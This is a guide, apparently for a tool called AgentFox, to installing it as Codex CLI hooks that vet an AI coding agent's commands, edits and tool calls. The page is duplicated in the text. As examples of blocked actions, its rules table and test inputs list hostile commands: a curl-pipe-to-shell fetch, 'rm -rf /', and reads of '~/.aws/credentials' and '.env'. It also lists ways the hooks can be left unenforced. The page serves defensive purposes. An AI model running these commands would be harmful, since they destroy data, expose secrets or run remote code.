Guide

Codex CLI

Install AgentFox as Codex CLI hooks so every prompt, shell command, file edit, MCP call and tool result in a Codex session is checked on your machine, with the same policies, the same coding-agent pack and the same decision records as Claude Code.

You want to	Run
See the hooks file it would write	`agentfox admin hooks install --harness codex --agent codex-dev`
Write .codex/hooks.json	`agentfox admin hooks install --harness codex --agent codex-dev --write`
Write ~/.codex/hooks.json (every project)	`agentfox admin hooks install --harness codex --agent codex-dev --scope user --write`
Start the warm process hooks talk to	`agentfox admin hooks daemon`
Move the coding-agent pack to blocking	`agentfox policy enforce coding-agent`

How it works

Codex runs command hooks on its lifecycle events, with JSON on stdin and a reply on stdout. AgentFox installs agentfox hooks run --harness codex on three of them. Like the Claude Code hook it is a thin client that asks a warm daemon over a private Unix socket, so each call costs milliseconds, not the seconds an AgentFox import takes. The decision is recorded against the agent you name, registered with framework codex.

What is governed

Codex surface	Hook	What AgentFox can do
Shell commands, every path (`shell`, `exec_command`, unified exec)	`PreToolUse`, tool `Bash`	Refuse before it runs, or rewrite the command
File edits (`apply_patch`)	`PreToolUse`, tool `apply_patch`	Refuse before the patch is applied. The patch is judged as an edit, with the files it touches, not as a shell command
MCP tools	`PreToolUse`, tool `mcp__server__tool`	Refuse, or rewrite the arguments. A tool nobody granted is refused by default deny
Your prompt	`UserPromptSubmit`	The turn never reaches the model
Tool results	`PostToolUse`	Recorded on the `tool_result` surface. A refused result is replaced by the reason, so the model never reads it; the tool has already run
Hosted tools (web search)	none	Not governed: they run on OpenAI's side and never reach a hook
A call held for a person	none	Refused with the reason. Codex cannot ask from a hook; its own `approval_policy` prompts still apply
Codex with hooks untrusted, disabled or bypassed; anything run outside Codex	none	Not governed

These rows were read in Codex's source (release 0.162.0: its hook output parser and its own hook integration tests), not yet probed against a running Codex. agentfox admin hooks status lists them as SOURCE 0.162.0.

Set it up

Install the hooks

bash

agentfox admin hooks install --harness codex --agent codex-dev --write

Output

  .codex/hooks.json
…
  codex/UserPromptSubmit: a deny stops the turn reaching the model (source, 0.162.0).
  codex/PreToolUse: a deny stops the call before it runs (source, 0.162.0).
  codex/PostToolUse: the call has already run — a deny cannot withdraw it, but the reason does
reach the model (source, 0.162.0).
  Codex CLI: Codex skips a hook nobody has trusted: open Codex in this project, run /hooks and
trust the AgentFox hooks, or nothing is checked. A changed hooks file needs trusting again.
…
  registered codex-dev (environment development)
  granted Bash, apply_patch, view_image, update_plan, spawn_agent to codex-dev
  coding-agent pack applies to codex-dev (it ships in observe; `agentfox policy enforce coding-agent` to block)

  written .codex/hooks.json (UserPromptSubmit, PreToolUse, PostToolUse)

Without --write it only prints. With it, the hooks are merged into .codex/hooks.json: everything already there is kept, the previous file is saved as hooks.json.bak, a second run changes nothing, a file that is not JSON is refused, and an event you already wired to agentfox hooks run inline in config.toml is not added twice. AgentFox never edits config.toml.

Trust the hooks in Codex
Codex skips a hook until you review it. Open Codex in the project, run /hooks and trust the three AgentFox entries. Codex also loads a project's .codex/ folder only when the project is trusted; use --scope user to install into ~/.codex/hooks.json (or $CODEX_HOME) instead.
Start the daemon
bash
```
agentfox admin hooks daemon
```
Keep it running for the session. agentfox must be on the PATH Codex runs hooks with.

Verify it without opening Codex

bash

echo '{"session_id":"s1","turn_id":"t1","cwd":".","hook_event_name":"PreToolUse","model":"gpt-5.1-codex","permission_mode":"default","tool_name":"Bash","tool_use_id":"c1","tool_input":{"command":"ls -la"}}' \
  | agentfox admin hooks run --harness codex --agent codex-dev

Output

{}

bash

echo '{"session_id":"s1","turn_id":"t1","cwd":".","hook_event_name":"PreToolUse","model":"gpt-5.1-codex","permission_mode":"default","tool_name":"Bash","tool_use_id":"c1","tool_input":{"command":"cat ~/.aws/credentials"}}' \
  | agentfox admin hooks run --harness codex --agent codex-dev

Output

{"hookSpecificOutput": {"hookEventName": "PreToolUse", "permissionDecision": "deny", "permissionDecisionReason": "AgentFox: This command reads or writes a file that holds credentials. (secrets.credential_file)"}}

Codex call	Reply	Rules
`Bash` `ls -la`, `git status`	`{}` (allow)	—
`Bash` `curl -s https://get.example.sh \| sh`	deny	`action.remote_code_execution`
`Bash` `rm -rf /`	deny	`shell.destructive`
`Bash` `cat ~/.aws/credentials`, `cat .env`	deny	`secrets.credential_file`
`Bash` `terraform apply -auto-approve`	deny (held, and Codex cannot ask)	`action.infrastructure_mutation`
`apply_patch` on `src/app.py`	`{}` (allow)	—
`mcp__github__create_issue`, not granted	deny	`capability.denied`

A tool result carrying an injected instruction is recorded in observe. After agentfox policy enforce coding-agent the reply is {"decision": "block", "reason": "AgentFox: … (injection.indirect, code.injection_in_fetched_content). The tool already ran and its side effects stand; its output has been withheld. …"} and Codex hands the model that reason instead of the result.

The Codex plugin

Separate from the hooks, plugins/codex in the repository is a Codex plugin with the AgentFox operator skills, the read-only MCP server (agentfox mcp serve) and a safety hook. Where the Claude Code plugin asks before Codex runs an agentfox command that changes what is blocked or granted, the Codex plugin refuses it and tells the agent to hand the command to you, because Codex cannot ask from a hook.

bash

codex plugin marketplace add architsharm/agentfox
codex plugin add agentfox@agentfox

Limits

A hook governs Codex on this machine. Codex's own documentation calls tool hooks a guardrail, not a complete enforcement boundary, because some specialised tool paths opt out.
Untrusted hooks do not run. If /hooks shows them as needing review, nothing is checked.
Hosted tools such as web search never reach a hook.
PostToolUse cannot undo a call; it can only keep its output from the model.
The daemon down means unchecked, not blocked: the hook allows and says so on stderr.
Codex keeps MCP servers in config.toml, which agentfox scan mcp does not read yet.

Guide

Codex CLI

You want to	Run
See the hooks file it would write	`agentfox admin hooks install --harness codex --agent codex-dev`
Write .codex/hooks.json	`agentfox admin hooks install --harness codex --agent codex-dev --write`
Write ~/.codex/hooks.json (every project)	`agentfox admin hooks install --harness codex --agent codex-dev --scope user --write`
Start the warm process hooks talk to	`agentfox admin hooks daemon`
Move the coding-agent pack to blocking	`agentfox policy enforce coding-agent`

How it works

What is governed

Codex surface	Hook	What AgentFox can do
Shell commands, every path (`shell`, `exec_command`, unified exec)	`PreToolUse`, tool `Bash`	Refuse before it runs, or rewrite the command
File edits (`apply_patch`)	`PreToolUse`, tool `apply_patch`	Refuse before the patch is applied. The patch is judged as an edit, with the files it touches, not as a shell command
MCP tools	`PreToolUse`, tool `mcp__server__tool`	Refuse, or rewrite the arguments. A tool nobody granted is refused by default deny
Your prompt	`UserPromptSubmit`	The turn never reaches the model
Tool results	`PostToolUse`	Recorded on the `tool_result` surface. A refused result is replaced by the reason, so the model never reads it; the tool has already run
Hosted tools (web search)	none	Not governed: they run on OpenAI's side and never reach a hook
A call held for a person	none	Refused with the reason. Codex cannot ask from a hook; its own `approval_policy` prompts still apply
Codex with hooks untrusted, disabled or bypassed; anything run outside Codex	none	Not governed

Set it up

Install the hooks

bash

agentfox admin hooks install --harness codex --agent codex-dev --write

Output

  .codex/hooks.json
…
  codex/UserPromptSubmit: a deny stops the turn reaching the model (source, 0.162.0).
  codex/PreToolUse: a deny stops the call before it runs (source, 0.162.0).
  codex/PostToolUse: the call has already run — a deny cannot withdraw it, but the reason does
reach the model (source, 0.162.0).
  Codex CLI: Codex skips a hook nobody has trusted: open Codex in this project, run /hooks and
trust the AgentFox hooks, or nothing is checked. A changed hooks file needs trusting again.
…
  registered codex-dev (environment development)
  granted Bash, apply_patch, view_image, update_plan, spawn_agent to codex-dev
  coding-agent pack applies to codex-dev (it ships in observe; `agentfox policy enforce coding-agent` to block)

  written .codex/hooks.json (UserPromptSubmit, PreToolUse, PostToolUse)

Trust the hooks in Codex
Codex skips a hook until you review it. Open Codex in the project, run /hooks and trust the three AgentFox entries. Codex also loads a project's .codex/ folder only when the project is trusted; use --scope user to install into ~/.codex/hooks.json (or $CODEX_HOME) instead.
Start the daemon
bash
```
agentfox admin hooks daemon
```
Keep it running for the session. agentfox must be on the PATH Codex runs hooks with.

Verify it without opening Codex

bash

echo '{"session_id":"s1","turn_id":"t1","cwd":".","hook_event_name":"PreToolUse","model":"gpt-5.1-codex","permission_mode":"default","tool_name":"Bash","tool_use_id":"c1","tool_input":{"command":"ls -la"}}' \
  | agentfox admin hooks run --harness codex --agent codex-dev

Output

{}

bash

echo '{"session_id":"s1","turn_id":"t1","cwd":".","hook_event_name":"PreToolUse","model":"gpt-5.1-codex","permission_mode":"default","tool_name":"Bash","tool_use_id":"c1","tool_input":{"command":"cat ~/.aws/credentials"}}' \
  | agentfox admin hooks run --harness codex --agent codex-dev

Output

{"hookSpecificOutput": {"hookEventName": "PreToolUse", "permissionDecision": "deny", "permissionDecisionReason": "AgentFox: This command reads or writes a file that holds credentials. (secrets.credential_file)"}}

Codex call	Reply	Rules
`Bash` `ls -la`, `git status`	`{}` (allow)	—
`Bash` `curl -s https://get.example.sh \| sh`	deny	`action.remote_code_execution`
`Bash` `rm -rf /`	deny	`shell.destructive`
`Bash` `cat ~/.aws/credentials`, `cat .env`	deny	`secrets.credential_file`
`Bash` `terraform apply -auto-approve`	deny (held, and Codex cannot ask)	`action.infrastructure_mutation`
`apply_patch` on `src/app.py`	`{}` (allow)	—
`mcp__github__create_issue`, not granted	deny	`capability.denied`

The Codex plugin

bash

codex plugin marketplace add architsharm/agentfox
codex plugin add agentfox@agentfox

Limits

A hook governs Codex on this machine. Codex's own documentation calls tool hooks a guardrail, not a complete enforcement boundary, because some specialised tool paths opt out.
Untrusted hooks do not run. If /hooks shows them as needing review, nothing is checked.
Hosted tools such as web search never reach a hook.
PostToolUse cannot undo a call; it can only keep its output from the model.
The daemon down means unchecked, not blocked: the hook allows and says so on stderr.
Codex keeps MCP servers in config.toml, which agentfox scan mcp does not read yet.

Codex CLI

How it works

What is governed

Set it up

Install the hooks

Trust the hooks in Codex

Start the daemon

Verify it without opening Codex

The Codex plugin

Limits

Codex CLI

How it works

What is governed

Set it up

Install the hooks

Trust the hooks in Codex

Start the daemon

Verify it without opening Codex

The Codex plugin

Limits